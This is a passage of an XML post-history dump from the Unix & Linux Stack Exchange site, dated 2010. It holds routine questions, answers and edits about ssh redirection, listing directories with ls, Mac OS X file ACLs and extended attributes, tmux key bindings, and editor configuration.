  <row Id="3255" PostHistoryTypeId="2" PostId="1634" RevisionGUID="f1aaa2d9-3a72-4322-9799-1c75bdb7b0b2" CreationDate="2010-09-05T16:46:20.587" UserId="1502" Text="Even simpler, instead of:&#xD;&#xA;&#xD;&#xA;    ssh host something &gt; file&#xD;&#xA;&#xD;&#xA;do:&#xD;&#xA;&#xD;&#xA;    ssh host &quot;something &gt; file&quot;" />
  <row Id="3256" PostHistoryTypeId="5" PostId="1630" RevisionGUID="cc8607d9-9187-4952-9c80-fdf9b3f6c92e" CreationDate="2010-09-05T16:58:18.117" UserId="73" Comment="added 17 characters in body; edited title" Text="I would like to run&#xD;&#xA;&#xD;&#xA;    something &gt; file&#xD;&#xA;&#xD;&#xA;on a remote system through ssh, but if I run&#xD;&#xA;&#xD;&#xA;    ssh host something &gt; file&#xD;&#xA;&#xD;&#xA;the redirection is executed locally as `ssh etc &gt; file`&#xD;&#xA;&#xD;&#xA;I've tried it with `'` or `''` or `dd` or with a pipe `|` instead, but I can't get it to work. How can this be done?" />
  <row Id="3257" PostHistoryTypeId="4" PostId="1630" RevisionGUID="cc8607d9-9187-4952-9c80-fdf9b3f6c92e" CreationDate="2010-09-05T16:58:18.117" UserId="73" Comment="added 17 characters in body; edited title" Text="Redirect stdout over ssh" />
  <row Id="3258" PostHistoryTypeId="2" PostId="1635" RevisionGUID="563332f6-9c44-42e3-be23-2536196e52b9" CreationDate="2010-09-05T17:01:18.077" UserId="73" Text="I agree with the [version control answer](http://unix.stackexchange.com/questions/1617/keeping-config-files-synced-across-multiple-pcs/1625#1625), but another method I've been experimenting with recently is [Dropbox](http://www.dropbox.com/). It's essentially a version control system that automatically syncs between all your machines, so if you edit a file on one computer you'll see the changes reflected on your other computers in a couple seconds, without needing to commit on the former and update on the latter.&#xD;&#xA;&#xD;&#xA;Their free [basic plan](http://www.dropbox.com/pricing) is 2GB, so I use it to version my configuration files and chat logs" />
  <row Id="3260" PostHistoryTypeId="2" PostId="1636" RevisionGUID="f747f2af-e401-46b8-8d8d-b11c8ebabc25" CreationDate="2010-09-05T17:09:17.360" UserId="29" Text="I find even &lt;kbd&gt;Ctrl+b&lt;/kbd&gt; to be very `emacs` like but I understand the point. I'm wondering if I could bind it to a single keypress of a key I don't other wise use? namely &lt;kbd&gt;Super_L&lt;/kbd&gt; (also known as the left windows key. for why I say Super_L start `xev` in a terminal and press that key) " />
  <row Id="3261" PostHistoryTypeId="1" PostId="1636" RevisionGUID="f747f2af-e401-46b8-8d8d-b11c8ebabc25" CreationDate="2010-09-05T17:09:17.360" UserId="29" Text="How do I bind the tmux prefix to a Super?" />
  <row Id="3262" PostHistoryTypeId="3" PostId="1636" RevisionGUID="f747f2af-e401-46b8-8d8d-b11c8ebabc25" CreationDate="2010-09-05T17:09:17.360" UserId="29" Text="étmuxàéterminalömultiplexerà" />
  <row Id="3263" PostHistoryTypeId="2" PostId="1637" RevisionGUID="985be945-5974-4a5a-8be2-ad731860ee2a" CreationDate="2010-09-05T17:17:55.630" UserId="250" Text="maybe you can try&#xD;&#xA;&#xD;&#xA; 1. uninstal google-chrome completely `sudo apt-get purge google-chrome`&#xD;&#xA;&#xD;&#xA; 2. check within your $HOME that there's nothing left (configuration is in `~/.config/google-chrome`)&#xD;&#xA;&#xD;&#xA; 3. also check that the application shortcut that is gone using `find ~ -iname &quot;*chrome*&quot;` (it's a .desktop file)&#xD;&#xA;&#xD;&#xA; 4. then cross  your fingers and reinstall?" />
  <row Id="3264" PostHistoryTypeId="5" PostId="1637" RevisionGUID="e165956d-9fe8-4011-a4d4-0830eb559faf" CreationDate="2010-09-05T17:36:33.330" UserId="250" Comment="added 128 characters in body" Text="maybe you can try&#xD;&#xA;&#xD;&#xA; 1. uninstal google-chrome completely `sudo apt-get purge google-chrome`&#xD;&#xA;&#xD;&#xA; 2. check within your $HOME that there's nothing left (configuration is in `~/.config/google-chrome`)&#xD;&#xA;&#xD;&#xA; 3. also check that the application shortcut that is gone using `find ~ -iname &quot;*chrome*&quot;` (it's a .desktop file)&#xD;&#xA;&#xD;&#xA; 4. then cross  your fingers and reinstall?&#xD;&#xA;&#xD;&#xA;(As I'm running chromium-browser and not google-chrome the names above might be different, but that shouldn't be a problem.)" />
  <row Id="3265" PostHistoryTypeId="2" PostId="1638" RevisionGUID="d482390b-301f-4d99-94ef-121b232db2bb" CreationDate="2010-09-05T19:07:18.837" UserId="1507" Text="Alternative to the LDAP solution, you can use NIS for account informations, and NFS for file sharing." />
  <row Id="3266" PostHistoryTypeId="6" PostId="1621" RevisionGUID="697731e5-6015-4f14-84d6-a941e4d5aca7" CreationDate="2010-09-05T19:12:35.693" UserId="1207" Comment="edited tags" Text="énetworkingàéldapàéserveràénfsà" />
  <row Id="3267" PostHistoryTypeId="5" PostId="1614" RevisionGUID="bec8d335-1331-447d-bc83-835466195109" CreationDate="2010-09-05T19:28:13.557" UserId="1327" Comment="fixed wording" Text="Twenty minutes ago, I was painstakingly recreating a complex directory structure from files I had one my other PC. I decided to run `du` to see if it was near completion. Given the size, I knew it would take few minutes, so went to get some coffee.&#xD;&#xA;&#xD;&#xA;On my return I noticed, to my severe dismay, that instead of running &#xD;&#xA;&#xD;&#xA;    du -hs /path/to/important/folder&#xD;&#xA;&#xD;&#xA;I had absent-mindedly run &#xD;&#xA;&#xD;&#xA;    rm -r  /path/to/important/folder" />
  <row Id="3268" PostHistoryTypeId="2" PostId="1639" RevisionGUID="59c83ba5-fab5-4a43-9da0-f04ab08f89e7" CreationDate="2010-09-05T19:28:14.477" UserId="1507" Text="I statically compile every driver for built-in hardware inside the kernel. Exception would be hardware which is not permanent (usb connected hardware, for example).&#xD;&#xA;&#xD;&#xA;As my hardware configuration is not likely to change anytime soon, I don't bother with modules." />
  <row Id="3269" PostHistoryTypeId="2" PostId="1640" RevisionGUID="ede92e1b-2faf-4da0-9705-b9190067220b" CreationDate="2010-09-05T19:40:22.210" UserId="455" Text="Note that large chunks of the toolchain (glibc in particular) flat out don't compile if you change optimization levels. The build system is setup to ignore your -O preferences for these sections on most sane distros.&#xD;&#xA;&#xD;&#xA;Simply put, certain fundamental library and OS features depend on the code actually doing what it says, not what would be faster in many cases. -fgcse-after-reload in particular (enabled by -O3) can cause odd issues." />
  <row Id="3270" PostHistoryTypeId="6" PostId="767" RevisionGUID="52a780a1-b433-4e3d-9166-5c1ae93a7dcd" CreationDate="2010-09-05T20:32:06.843" UserId="29" Comment="more of a debian question" Text="élinuxàéinstallàéaptitudeàéaptàédebianà" />
  <row Id="3271" PostHistoryTypeId="2" PostId="1641" RevisionGUID="f26cc471-ffe2-4888-b006-7b004a94be29" CreationDate="2010-09-05T20:36:26.077" UserDisplayName="joon" Text="I am trying to customize the color scheme of Kile/Kate. I could do it, except I could not find any way to change the color of the side pane such as files, etc.&#xD;&#xA;&#xD;&#xA;I prefer dark background, and having dark background in editing space and white background in the left pane is not good for my eyes ..&#xD;&#xA;&#xD;&#xA;-Joon" />
  <row Id="3272" PostHistoryTypeId="1" PostId="1641" RevisionGUID="f26cc471-ffe2-4888-b006-7b004a94be29" CreationDate="2010-09-05T20:36:26.077" UserDisplayName="joon" Text="How to change background color of side pane of Kate and Kile?" />
  <row Id="3273" PostHistoryTypeId="3" PostId="1641" RevisionGUID="f26cc471-ffe2-4888-b006-7b004a94be29" CreationDate="2010-09-05T20:36:26.077" UserDisplayName="joon" Text="écolorsà" />
  <row Id="3274" PostHistoryTypeId="6" PostId="1176" RevisionGUID="8b72b0a0-8cfd-4916-924f-6e1b88c9b605" CreationDate="2010-09-05T20:37:00.490" UserId="29" Comment="not really ubuntu specific, but it does involve samba so changing tags" Text="éloginàéfileöserveràésambaà" />
  <row Id="3275" PostHistoryTypeId="6" PostId="767" RevisionGUID="5bbb49ae-d17b-4b4c-bc14-9de131cc9ddb" CreationDate="2010-09-05T20:41:23.533" UserId="29" Comment="although a linux question I think the linux tag isn't necessary here" Text="éinstallàédebianàéaptitudeàéaptà" />
  <row Id="3276" PostHistoryTypeId="18" PostId="244" RevisionGUID="d0ec5d0d-1d13-4598-b0db-73b04d4ea364" CreationDate="2010-09-05T20:44:29.667" UserId="29" Comment="to http://unix.stackexchange.com/questions/767/what-is-the-real-difference-between-apt-get-and-aptitude-how-about-wajig" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="3277" PostHistoryTypeId="18" PostId="246" RevisionGUID="d0ec5d0d-1d13-4598-b0db-73b04d4ea364" CreationDate="2010-09-05T20:44:29.667" UserId="29" Comment="from http://unix.stackexchange.com/questions/244/apt-get-or-aptitude" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="3278" PostHistoryTypeId="18" PostId="254" RevisionGUID="d0ec5d0d-1d13-4598-b0db-73b04d4ea364" CreationDate="2010-09-05T20:44:29.667" UserId="29" Comment="from http://unix.stackexchange.com/questions/244/apt-get-or-aptitude" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="3281" PostHistoryTypeId="18" PostId="767" RevisionGUID="d0ec5d0d-1d13-4598-b0db-73b04d4ea364" CreationDate="2010-09-05T20:44:29.667" UserId="29" Comment="from http://unix.stackexchange.com/questions/244/apt-get-or-aptitude" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="3282" PostHistoryTypeId="14" PostId="244" RevisionGUID="097211e7-59bc-4415-8a48-c4edd865ca13" CreationDate="2010-09-05T20:44:29.980" UserId="29" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="3283" PostHistoryTypeId="5" PostId="1467" RevisionGUID="dacbc8a3-7d71-41bc-aaca-c3677b26f504" CreationDate="2010-09-05T20:46:21.740" UserId="73" Comment="deleted 10 characters in body" Text="I'm in the following situation:&#xD;&#xA;&#xD;&#xA;I have a directory named `test` at the top level of my site. When I request `http://mysite.com/test`, apache automatically adds a trailing slash and gives me `http://mysite.com/test/`. Is there a way to disable that?&#xD;&#xA;" />
  <row Id="3284" PostHistoryTypeId="5" PostId="1641" RevisionGUID="2c63cacd-5ab9-4c5f-9fb1-0746e1648b53" CreationDate="2010-09-05T20:47:57.113" UserId="73" Comment="deleted 11 characters in body; edited tags" Text="I am trying to customize the color scheme of Kile/Kate. I could do it, except I could not find any way to change the color of the side pane such as files, etc.&#xD;&#xA;&#xD;&#xA;I prefer dark background, and having dark background in editing space and white background in the left pane is not good for my eyes." />
  <row Id="3285" PostHistoryTypeId="6" PostId="1641" RevisionGUID="2c63cacd-5ab9-4c5f-9fb1-0746e1648b53" CreationDate="2010-09-05T20:47:57.113" UserId="73" Comment="deleted 11 characters in body; edited tags" Text="écolorsàéeditorsàékileàékateà" />
  <row Id="3286" PostHistoryTypeId="16" PostId="138" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-09-05T21:00:39.247" UserId="73" />
  <row Id="3287" PostHistoryTypeId="16" PostId="139" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-09-05T21:00:39.247" UserId="73" />
  <row Id="3288" PostHistoryTypeId="16" PostId="141" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-09-05T21:00:39.247" UserId="73" />
  <row Id="3289" PostHistoryTypeId="16" PostId="143" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-09-05T21:00:39.247" UserId="73" />
  <row Id="3290" PostHistoryTypeId="16" PostId="146" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-09-05T21:00:39.247" UserId="73" />
  <row Id="3291" PostHistoryTypeId="16" PostId="182" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-09-05T21:00:39.247" UserId="73" />
  <row Id="3296" PostHistoryTypeId="2" PostId="1643" RevisionGUID="b678245d-45a7-42bd-bbf9-45e581086f32" CreationDate="2010-09-05T21:36:17.660" UserId="29" Text="I don't think you can change it from within Kate. Go to *System Settings &gt; Application Appearance &gt; Colors* Try the Zion ( Reversed ) Scheme. I think you can change those colors individually, and obviously you can create a scheme.&#xD;&#xA;&#xD;&#xA;![system settings screenshot][1]&#xD;&#xA;&#xD;&#xA;Here's the resulting appearance of kate&#xD;&#xA;&#xD;&#xA;![kate dark ( Zion ( Reversed ) Scheme )][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;*please note some portions of this are not from the colorscheme but other settings*&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/VfdNw.png&#xD;&#xA;  [2]: http://i.imgur.com/kK0zT.png" />
  <row Id="3297" PostHistoryTypeId="5" PostId="1643" RevisionGUID="284e8d0e-18c2-4a0d-90fc-f5ab2cff8a02" CreationDate="2010-09-05T21:44:04.353" UserId="29" Comment="add opinion" Text="I don't think you can change it from within Kate. Go to *System Settings &gt; Application Appearance &gt; Colors* Try the Zion ( Reversed ) Scheme. I think you can change those colors individually, and obviously you can create a scheme. I wish the makers of kate would realize that dev's like dark backgrounds and facilitate it more.&#xD;&#xA;&#xD;&#xA;![system settings screenshot][1]&#xD;&#xA;&#xD;&#xA;Here's the resulting appearance of kate&#xD;&#xA;&#xD;&#xA;![kate dark ( Zion ( Reversed ) Scheme )][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;*please note some portions of this are not from the colorscheme but other settings*&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/VfdNw.png&#xD;&#xA;  [2]: http://i.imgur.com/kK0zT.png" />
  <row Id="3298" PostHistoryTypeId="5" PostId="1643" RevisionGUID="e4f94d73-c893-40ac-901b-670cfea13424" CreationDate="2010-09-05T21:49:30.627" UserId="29" Comment="say why" Text="I don't think you can change it from within Kate, because I think it's like a filebrowser_part or something. Go to *System Settings &gt; Application Appearance &gt; Colors* Try the Zion ( Reversed ) Scheme. I think you can change those colors individually, and obviously you can create a scheme. I wish the makers of kate would realize that dev's like dark backgrounds and facilitate it more.&#xD;&#xA;&#xD;&#xA;![system settings screenshot][2]&#xD;&#xA;Here's the resulting appearance of kate&#xD;&#xA;&#xD;&#xA;![kate dark ( Zion ( Reversed ) Scheme )][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;*please note some portions of this are not from the colorscheme but other settings*&#xD;&#xA;&#xD;&#xA;  [2]: http://i.imgur.com/JSDtE.png&#xD;&#xA;  [3]: http://i.imgur.com/kK0zT.png" />
  <row Id="3299" PostHistoryTypeId="6" PostId="1641" RevisionGUID="bafdd134-b380-444b-8606-f0c36b2a9c1d" CreationDate="2010-09-05T21:51:01.453" UserId="29" Comment="add kde tag because I think this requires more settings that just from within kate" Text="ékdeàécolorsàéeditorsàékileàékateà" />
  <row Id="3300" PostHistoryTypeId="2" PostId="1644" RevisionGUID="311631ad-757d-420e-b8df-1d817fe665aa" CreationDate="2010-09-05T22:22:36.713" UserId="29" Text="Here's an article I wrote about setting up iptables for a destkop. [IPTables for the average desktop user][1], and another one if you need to connect to a windows (smb) file share network, called [IPTables browsing Samba shares][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.xenoterracide.com/2008/04/iptables-for-average-desktop-user.html&#xD;&#xA;  [2]: http://www.xenoterracide.com/2009/05/iptables-browsing-samba-shares.html" />
  <row Id="3301" PostHistoryTypeId="2" PostId="1645" RevisionGUID="41b004b4-ed20-4687-ba30-f1c5c178a580" CreationDate="2010-09-06T01:14:31.207" UserId="1090" Text="Sometimes, I need to check only the directories not files. Is there any option with the command ls? Or is there any utility for doing that?" />
  <row Id="3302" PostHistoryTypeId="1" PostId="1645" RevisionGUID="41b004b4-ed20-4687-ba30-f1c5c178a580" CreationDate="2010-09-06T01:14:31.207" UserId="1090" Text="Is there any option with 'ls' command that I see only the directories?" />
  <row Id="3303" PostHistoryTypeId="3" PostId="1645" RevisionGUID="41b004b4-ed20-4687-ba30-f1c5c178a580" CreationDate="2010-09-06T01:14:31.207" UserId="1090" Text="éutilitiesàélsà" />
  <row Id="3304" PostHistoryTypeId="2" PostId="1646" RevisionGUID="d162639b-b47d-48e3-a52e-9fa23b66b3a7" CreationDate="2010-09-06T01:15:34.780" UserId="1090" Text="In Mac OS X, run 'ls -al' gives me something like this.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;drwxrwxrwx+  4 smcho  staff     136 May  5 09:18 Public&#xD;&#xA;drwxr-xr-x+  6 smcho  staff     204 Feb  1  2010 Sites&#xD;&#xA;drwxrwxrwx   9 smcho  staff     306 Feb  2  2010 backup&#xD;&#xA;drwxr-xr-x@ 36 smcho  staff    1224 Sep  4 22:51 bin&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA; * What's the + or @ at the end of the first column means?&#xD;&#xA; * Is this unique to Mac, or common in UNIX?" />
  <row Id="3305" PostHistoryTypeId="1" PostId="1646" RevisionGUID="d162639b-b47d-48e3-a52e-9fa23b66b3a7" CreationDate="2010-09-06T01:15:34.780" UserId="1090" Text="+ or @ mark after running 'ls -al' " />
  <row Id="3306" PostHistoryTypeId="3" PostId="1646" RevisionGUID="d162639b-b47d-48e3-a52e-9fa23b66b3a7" CreationDate="2010-09-06T01:15:34.780" UserId="1090" Text="élsàémacà" />
  <row Id="3307" PostHistoryTypeId="2" PostId="1647" RevisionGUID="6f9832df-7534-4b01-aac0-3842cef30818" CreationDate="2010-09-06T01:18:12.890" UserId="160" Text="Assuming you're using some variant of Linux, try&#xD;&#xA;&#xD;&#xA;    ls -d" />
  <row Id="3308" PostHistoryTypeId="2" PostId="1648" RevisionGUID="2bd78ac2-3344-4dcb-b245-fcd19f0656ca" CreationDate="2010-09-06T01:19:43.247" UserId="73" Text="Both of these are unique to Mac OS&#xD;&#xA;&#xD;&#xA;The `@` suffix is covered by [this question](http://unix.stackexchange.com/q/10/73), so I copied this part of my answer from there; it means the file has [extended attributes](http://en.wikipedia.org/wiki/Extended_file_attributes). You can use the `xattr` command-line utility to view and modify them:&#xD;&#xA;&#xD;&#xA;    xattr --list filename&#xD;&#xA;    xattr --set propname propvalue filename&#xD;&#xA;    xattr --delete propname filename&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;The `+` suffix means the file has an access control list. Giving `ls` the `-e` flag will make it show the associated ACL after the file, and `chmod` can be used to modify it" />
  <row Id="3309" PostHistoryTypeId="5" PostId="1645" RevisionGUID="dcb41c75-1928-4cb0-b0ba-f032ecd57e25" CreationDate="2010-09-06T01:24:10.727" UserId="1090" Comment="added 90 characters in body" Text="Sometimes, I need to check only the directories not files. Is there any option with the command ls? Or is there any utility for doing that?&#xD;&#xA;&#xD;&#xA;##ADDED&#xD;&#xA;I'm using Mac OS X, and 'ls -d' gives me '.' even though I have directories. " />
  <row Id="3310" PostHistoryTypeId="5" PostId="1647" RevisionGUID="17126e8f-b6b2-4dc1-96e5-c0c292685b67" CreationDate="2010-09-06T01:26:02.767" UserId="160" Comment="Added operating system." Text="No, but a simple `find` command will do it:&#xD;&#xA;&#xD;&#xA;    find . -type d -depth 1&#xD;&#xA;&#xD;&#xA;or `grep`&#xD;&#xA;&#xD;&#xA;    ls -F | grep /&#xD;&#xA;&#xD;&#xA;You could then alias either one if necessary.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3311" PostHistoryTypeId="2" PostId="1649" RevisionGUID="f07d06a5-734d-4b93-8014-5fcff7370ab7" CreationDate="2010-09-06T01:27:41.297" UserId="1014" Text="I think ls has a bug on Mac OS X. A workaround is to use grep... `ls -l / | grep &quot;^d&quot;`&#xD;&#xA;" />
  <row Id="3312" PostHistoryTypeId="5" PostId="1646" RevisionGUID="2933ec08-9aa7-492b-a6b1-c36bb093957d" CreationDate="2010-09-06T01:30:05.260" UserId="1090" Comment="added 933 characters in body" Text="In Mac OS X, run 'ls -al' gives me something like this.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;drwxrwxrwx+  4 smcho  staff     136 May  5 09:18 Public&#xD;&#xA;drwxr-xr-x+  6 smcho  staff     204 Feb  1  2010 Sites&#xD;&#xA;drwxrwxrwx   9 smcho  staff     306 Feb  2  2010 backup&#xD;&#xA;drwxr-xr-x@ 36 smcho  staff    1224 Sep  4 22:51 bin&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA; * What's the + or @ at the end of the first column means?&#xD;&#xA; * Is this unique to Mac, or common in UNIX?&#xD;&#xA;&#xD;&#xA;## ADDED&#xD;&#xA;After Michael Mrozek's answer, I ran 'ls -ale' to get the following.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;drwx------+ 66 smcho  staff    2244 Aug 30 13:40 Library&#xD;&#xA; 0: group:com.apple.sharepoint.group.3 allow search&#xD;&#xA; 1: group:everyone deny delete&#xD;&#xA;drwxr-xr-x   3 smcho  staff     102 Sep  4 15:01 Mail&#xD;&#xA;drwx------+ 13 smcho  staff     442 Aug 28 17:55 Movies&#xD;&#xA; 0: group:everyone deny delete&#xD;&#xA;drwx------+  6 smcho  staff     204 Jul  9 09:37 Music&#xD;&#xA; 0: group:everyone deny delete&#xD;&#xA;drwx------+ 11 smcho  staff     374 Aug 28 16:55 Pictures&#xD;&#xA; 0: group:everyone deny delete&#xD;&#xA;drwxr-xr-x   3 smcho  staff     102 Mar 18 15:43 Projects&#xD;&#xA;drwxrwxrwx+  4 smcho  staff     136 May  5 09:18 Public&#xD;&#xA; 0: group:everyone deny delete&#xD;&#xA;drwxr-xr-x+  6 smcho  staff     204 Feb  1  2010 Sites&#xD;&#xA; 0: group:everyone deny delete&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;What those appended message mean? Why do I have them for some of the files? I don't remember doing anything particular for them." />
  <row Id="3313" PostHistoryTypeId="2" PostId="1650" RevisionGUID="93c344da-9561-45ac-b626-91ff32415624" CreationDate="2010-09-06T01:38:13.033" UserId="1014" Text="Red Hat has a project called [FreeIPA][1] that is producing an integrated LDAP, Kerberos, NTP and DNS server setup that's easier to setup.&#xD;&#xA;&#xD;&#xA;I haven't tried it yet, but its been on my list of things to try out for awhile now.&#xD;&#xA;&#xD;&#xA;  [1]: http://freeipa.org/page/Main_Page" />
  <row Id="3314" PostHistoryTypeId="5" PostId="1648" RevisionGUID="5380d2f9-9525-4135-adc1-f388e4d3937c" CreationDate="2010-09-06T02:09:49.327" UserId="73" Comment="added 2575 characters in body; added 17 characters in body; deleted 9 characters in body" Text="Both of these are unique to Mac OS&#xD;&#xA;&#xD;&#xA;The `@` suffix is covered by [this question](http://unix.stackexchange.com/q/10/73), so I copied this part of my answer from there; it means the file has [extended attributes](http://en.wikipedia.org/wiki/Extended_file_attributes). You can use the `xattr` command-line utility to view and modify them:&#xD;&#xA;&#xD;&#xA;    xattr --list filename&#xD;&#xA;    xattr --set propname propvalue filename&#xD;&#xA;    xattr --delete propname filename&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;The `+` suffix means the file has an access control list. Giving `ls` the `-e` flag will make it show the associated ACLs after the file, and `chmod` can be used to modify then. Most of this is from the `chmod` man page:&#xD;&#xA;&#xD;&#xA;You add an ACL with `chmod +a &quot;type:name flag permission,...&quot;`, and remove it with `chmod -a`. The argument to `chmod` is fairly complicated:&#xD;&#xA;&#xD;&#xA;* **type** is either `user` or `group`, to clarify if `name` is referring to a username or a group name. If `name` is unambiguous, you can omit the type&#xD;&#xA;* **name** is the username or group the ACL applies to&#xD;&#xA;* **flag** is `allow` if this ACL entry is granting a permission, or `deny` if it's denying a permission&#xD;&#xA;* **permission** is the actual permission being modified; you can list as many as you like, comma-separated&#xD;&#xA;    * **delete** -- Allow the file/directory to be deleted&#xD;&#xA;    * **readattr** -- Read basic attributes&#xD;&#xA;    * **writeattr** -- Write basic attributes&#xD;&#xA;    * **readextattr** -- Read extended attributes (using `xattr`, from above)&#xD;&#xA;    * **writeextattr** -- Write extended attributes&#xD;&#xA;    * **readsecurity** -- Read ACL info&#xD;&#xA;    * **writesecurity** -- Write ACL info&#xD;&#xA;    * **chown** -- Change owner&#xD;&#xA;    * Directory-specific permissions&#xD;&#xA;        * **list** -- Show the files/folders in the directory&#xD;&#xA;        * **search** -- Find a file/folder in the directory by name&#xD;&#xA;        * **add_file** -- Create a new file in the directory&#xD;&#xA;        * **add_subdirectory** -- Create a new directory in the directory&#xD;&#xA;        * **delete_child** -- Remove a file/directory in the directory&#xD;&#xA;        * Inheritance-control&#xD;&#xA;            * **file_inherit** -- ACLs on the directory are inherited by files&#xD;&#xA;            * **directory_inherit** -- ACLs on the directory are inherited by subdirectories&#xD;&#xA;            * **limit_inherit** -- Stops ACLs inherited by this directory from being inherited by subdirectories&#xD;&#xA;            * **only_inherit** -- Inherited by all newly created items but ignored&#xD;&#xA;    * File-specific permissions&#xD;&#xA;        * **read** -- Open the file for reading&#xD;&#xA;        * **write** -- Open the file for writing&#xD;&#xA;        * **append** -- Open the file for appending&#xD;&#xA;        * **execute** -- Run the file&#xD;&#xA;&#xD;&#xA;In your particular example, most of the ACL entries are `group:everyone deny delete`. That is, all users in the `everyone` group (which is naturally everyone) are denied the permission to delete the folder. I believe, although I can't find any documentation about it, that these are default ACLs to stop you from removing essential root folders -- somebody correct this if that's not the case. The only other entry is `group:com.apple.sharepoint.group.3 allow search`, which allows Directory Services to search for files by name in the `/Library` folder" />
  <row Id="3315" PostHistoryTypeId="2" PostId="1651" RevisionGUID="5eaf8781-bcb0-4e06-8788-01e1b40e0e0a" CreationDate="2010-09-06T02:16:42.623" UserId="1207" Text="I know there is already a selected answer, but you can get the requested behavior with just `ls`:&#xD;&#xA;&#xD;&#xA;    ls -ld */&#xD;&#xA;&#xD;&#xA;This will list all the directories in the current working directory where it is run.  To get all the subdirectories of some other folder, just try:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ls -ld /path/to/directory/*/&#xD;&#xA;&#xD;&#xA;Note that the -l is optional.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3316" PostHistoryTypeId="2" PostId="1652" RevisionGUID="debf0799-d089-4139-aff2-10dd14526cd8" CreationDate="2010-09-06T03:38:49.820" UserId="160" Text="You can't.  Binding a key will call the `cmd_bind_key_parse` function from [`cmd-bind-key.c`](http://tmux.cvs.sf.net/viewvc/tmux/tmux/cmd-bind-key.c?revision=1.29&amp;view=markup) which in turn will (eventually) call `key_string_get_modifiers` from [`key-string.c`](http://tmux.cvs.sf.net/viewvc/tmux/tmux/key-string.c?revision=1.34&amp;view=markup):&#xD;&#xA;&#xD;&#xA;    /* Find modifiers. */&#xD;&#xA;    105 	int&#xD;&#xA;    106 	key_string_get_modifiers(const char **string)&#xD;&#xA;    107 	{&#xD;&#xA;    108 	    int modifiers;&#xD;&#xA;    109 	    &#xD;&#xA;    110 	    modifiers = 0;&#xD;&#xA;    111 	    while (((*string)[0] != '\0') &amp;&amp; (*string)[1] == '-') {&#xD;&#xA;    112 	        switch ((*string)[0]) {&#xD;&#xA;    113 	            case 'C':&#xD;&#xA;    114 	            case 'c':&#xD;&#xA;    115 	            modifiers |= KEYC_CTRL;&#xD;&#xA;    116 	            break;&#xD;&#xA;    117 	            case 'M':&#xD;&#xA;    118 	            case 'm':&#xD;&#xA;    119 	            modifiers |= KEYC_ESCAPE;&#xD;&#xA;    120 	            break;&#xD;&#xA;    121 	            case 'S':&#xD;&#xA;    122 	            case 's':&#xD;&#xA;    123 	            modifiers |= KEYC_SHIFT;&#xD;&#xA;    124 	            break;&#xD;&#xA;    125 	        }&#xD;&#xA;    126 	        *string += 2;&#xD;&#xA;    127 	    }&#xD;&#xA;    128 	    return (modifiers);&#xD;&#xA;    129 	} &#xD;&#xA;The [`tmux.c`](http://tmux.cvs.sf.net/viewvc/tmux/tmux/tmux.h?revision=1.574&amp;view=markup) contains the modifier key `#define` declarations and from that file we have:&#xD;&#xA;&#xD;&#xA;    106 	/* Key modifier bits. */&#xD;&#xA;    107 	#define KEYC_ESCAPE 0x2000&#xD;&#xA;    108 	#define KEYC_CTRL 0x4000&#xD;&#xA;    109 	#define KEYC_SHIFT 0x8000&#xD;&#xA;    110 	#define KEYC_PREFIX 0x10000 &#xD;&#xA;&#xD;&#xA;On the surface though, it doesn't look *too* hard to modify; maybe a weekend (famous last words ;)) project?" />
  <row Id="3317" PostHistoryTypeId="2" PostId="1653" RevisionGUID="df7f940f-6511-47ba-9058-45a0ee091d02" CreationDate="2010-09-06T04:53:26.580" UserId="1207" Text="I use emacs fairly regularly and am trying to configure my system to use emacsclient when possible.  To do this I have done the following:&#xD;&#xA;&#xD;&#xA;In .bashrc:&#xD;&#xA;&#xD;&#xA;    EDITOR='emacsclient -ca emacs'&#xD;&#xA;    VISUAL='emacsclient -ca emacs'&#xD;&#xA;&#xD;&#xA;I then also installed an alternative for /usr/bin/editor that points to /usr/local/bin/emacsclient.wrapper that has the following:&#xD;&#xA;&#xD;&#xA;     #!/bin/sh&#xD;&#xA;     #Start emacs client&#xD;&#xA;     /usr/bin/emacsclient -ca emacs $1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For the most part this works great.  However, when emacsclient is launched from the terminal, it often spews out text I don't need.  Notably:&#xD;&#xA;&#xD;&#xA;    $ editor &#xD;&#xA;    Waiting for Emacs...&#xD;&#xA;    $ &#xD;&#xA;&#xD;&#xA;Or, when emacs isn't already started and emacclient has to fall back to starting emacs itself:&#xD;&#xA;&#xD;&#xA;    emacsclient: can't find socket; have you started the server?&#xD;&#xA;    To start the server in Emacs, type &quot;M-x server-start&quot;.&#xD;&#xA;&#xD;&#xA;What can I do to surpress this output?  I've tried adding changing my emacs wrapper to 